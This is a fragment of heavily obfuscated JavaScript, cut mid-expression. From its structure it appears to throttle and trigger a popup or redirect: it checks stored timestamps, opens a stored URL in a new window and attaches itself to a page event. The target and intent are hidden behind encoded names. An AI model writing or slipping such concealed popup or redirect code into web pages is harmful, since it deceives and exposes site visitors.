Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());